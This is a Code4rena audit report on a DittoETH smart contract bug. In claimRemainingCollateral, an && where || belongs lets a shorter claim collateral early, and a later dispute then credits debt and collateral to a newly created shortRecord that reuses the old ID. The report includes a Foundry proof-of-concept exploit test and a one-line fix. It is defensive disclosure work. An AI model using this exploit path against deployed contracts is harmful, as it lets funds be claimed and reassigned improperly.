Incorrectly implemented if check causes ercDebt and collateral to be unexpectedly transferred to a different shortRecord

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/main/contracts/facets/RedemptionFacet.sol#L361

Vulnerability details

Impact

An incorrectly implemented if check that is using && instead of || causes a random newly created shortRecord to get the ercDebt and collateral of a previously deleted shortRecord.

Proof of Concept

Imagine the following scenario:

1. Shorter has a few shortRecords
2. Redeemer proposes a redemption for one of the shortRecords owned by shorter
3. The timeToDispute passes
4. Redeemer2 proposes redemption for another one of the shortRecords owned by shorter
5. Even though timeToDispute has not passed for redeemer2, shorter is able to call RedemptionFacet::claimCollateral() successfully because of a flawed if check

   if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

   5.1 Shorter calls RedemptionFacet::claimRemainingCollateral() with the address of redeemer and with the ID of the shortRecord proposed by redeemer2

5.2 redeemerAssetUser in the function is now redeemer

5.3 The check for time to dispute passes as enough time has passed for redeemer's timeToDispute

5.4 claimProposal is the decodedProposalData of redeemer

5.5 The if check doesn't lead to a revert because it is flawed, claimProposal.shorter is == to msg.sender as he is the owner of the initial shortRecord however the claimProposal.shortId is not equal to the given ID since claimProposal.shortId is based on the initial redeemer proposal and the given ID is the ID for the shortRecord proposed by redeemer2 which makes the if check (true && false) resulting in false and the code continues

5.6 _claimRemainingCollateral() is called with the shorter address (msg.sender) and shortId equal to the given ID (ID of the shortRecord proposed by redeemer2)

5.7 Check successfully passes and shorter claims collateral and deletes shortRecord without having to wait the timeToDispute

6. After the shortRecord is deleted, now a user could create a new shortRecord. Due to the implemented ID reusage optimizations, the new shortRecord will take the ID of the previously deleted shortRecord.
7. As the shortRecord is deleted before timeToDispute is over, RedemptionFacet::disputeRedemption() is still callable
8. Disputer successfully disputes the already deleted shortRecord

9. RedemptionFacet::disputeRedemption() unexpectedly gives back the collateral and ercDebt to the newly created shortRecord that could have been created by any user

   for (uint256 i = incorrectIndex; i < decodedProposalData.length; i++) {
               currentProposal = decodedProposalData[i];
   
               STypes.ShortRecord storage currentSR = s.shortRecords[d.asset][currentProposal.shorter][currentProposal.shortId];
               currentSR.collateral += currentProposal.colRedeemed;
               currentSR.ercDebt += currentProposal.ercDebtRedeemed;
   
               d.incorrectCollateral += currentProposal.colRedeemed;
               d.incorrectErcDebt += currentProposal.ercDebtRedeemed;
           }
   
           s.vault[Asset.vault].dethCollateral += d.incorrectCollateral;
           Asset.dethCollateral += d.incorrectCollateral;
           Asset.ercDebt += d.incorrectErcDebt;

Add the following POC into Redemption.t.sol:

    function testUserGetsDebtAndCollateralOutOfNowhere() public {
        // Set up all of the users
        address shorter = sender;
        address redeemer = receiver;
        address redeemer2 = makeAddr('redeemer2');
        depositEth(redeemer2, INITIAL_ETH_AMOUNT);
        address disputer = makeAddr('disputer');

        for (uint256 i = 0; i < 6; i++) {
            if (i % 2 == 0) {
                fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer);
                fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
            } else {
                fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer2);
                fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
            }
        }

        _setETH(50000 ether);
        fundLimitBidOpt(DEFAULT_PRICE -  0.000000001 ether, DEFAULT_AMOUNT, redeemer2);
        fundLimitShortOpt(DEFAULT_PRICE -  0.000000001 ether, DEFAULT_AMOUNT, shorter);

        MTypes.ProposalInput[] memory redeemerProposalInputs = new MTypes.ProposalInput[](1);
        redeemerProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});

        _setETH(1000 ether);
        vm.prank(redeemer);
        diamond.proposeRedemption(asset, redeemerProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer creates a proposal
        skip(diamond.getAssetUserStruct(asset, redeemer).timeToDispute); // Skip the time to dispute for the first proposal (5401 seconds)

        MTypes.ProposalInput[] memory redeemer2ProposalInputs = new MTypes.ProposalInput[](1);
        redeemer2ProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID + 1, shortOrderId: 0});

        vm.prank(redeemer2);
        diamond.proposeRedemption(asset, redeemer2ProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer2 creates a proposal

        assert(diamond.getOffsetTime() < diamond.getAssetUserStruct(asset, redeemer2).timeToDispute); // Not enough time has passed in order to redeem the second proposal (5402 < 10802)

        vm.expectRevert(Errors.TimeToDisputeHasNotElapsed.selector);
        vm.prank(redeemer2);
        diamond.claimRedemption(asset); // This correctly reverts as 5401 seconds have not passed and bug is non-existent in claimRedemption()

        vm.prank(shorter);
        diamond.claimRemainingCollateral(asset, redeemer, 0, C.SHORT_STARTING_ID + 1); // Claiming collateral without waiting (this is the bug)

        // Someone creates a new short and that takes the C.SHORT_STARTING_ID + 1 ID due to the ID reusage optimizations implemented in the protocol
        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer2); 
        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);

        STypes.ShortRecord memory short = diamond.getShortRecord(asset, shorter, C.SHORT_STARTING_ID + 1); // Getting the newly created shortRecord
        assertEq(short.collateral, 0);
        assertEq(short.ercDebt, 0);
        // It has 0 collateral and 0 ercDebt as it's just created

        vm.prank(disputer);
        diamond.disputeRedemption(asset, redeemer2, 0, shorter, C.SHORT_STARTING_ID + 6); // Dispute with a shortRecord with a lower CR

        // Disputing is supposed to give back the ercDebt and collateral to the disputed shortRecords included in the proposal but as the shortRecord is unexpectedly deleted and created again by someone, then that shortRecord unexpectedly gets collateral and ercDebt

        STypes.ShortRecord memory shortAfter = diamond.getShortRecord(asset, shorter, C.SHORT_STARTING_ID + 1);
        assert(shortAfter.collateral > 0);
        assert(shortAfter.ercDebt > 0);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Use || instead of &&

+ if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

Assessed type

Invalid Validation

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[raymondfam]

Same root cause as in #104 leading to a different exploit.

[c4-pre-sort]

raymondfam marked the issue as duplicate of #104

[c4-judge]

hansfriese marked the issue as satisfactory